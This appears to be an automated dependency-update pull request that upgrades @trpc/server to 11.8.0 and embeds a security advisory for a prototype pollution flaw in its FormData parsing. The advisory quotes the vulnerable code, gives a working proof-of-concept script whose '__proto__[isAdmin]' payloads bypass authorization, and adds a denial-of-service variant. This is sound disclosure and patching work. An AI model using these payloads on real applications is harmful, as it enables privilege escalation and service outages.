chore(deps): update dependency @trpc/server to v11.8.0 [security]

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This PR contains the following updates:

Package	Change	Age	Confidence
@trpc/server (source)	11.7.1 → 11.8.0

GitHub Vulnerability Alerts

CVE-2025-68130

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

• Package: @trpc/server
• Affected Versions: >=10.27.0
• Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @​trpc/[email protected]

# Step 4: Create the test file 

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Test.js

const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

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Release Notes

trpc/trpc (@​trpc/server)

v11.8.0

Compare Source

What's Changed

• feat(server): support streaming in API Gateway REST API by @​anatolzak in #​7039

v11.7.2

Compare Source

What's Changed

• fix(server): missing sse options when using mergeRouter by @​timcole in #​7023

New Contributors

• @​KitsuneKode made their first contribution in #​6975
• @​timcole made their first contribution in #​7023

Full Changelog: trpc/trpc@v11.7.1...v11.7.2

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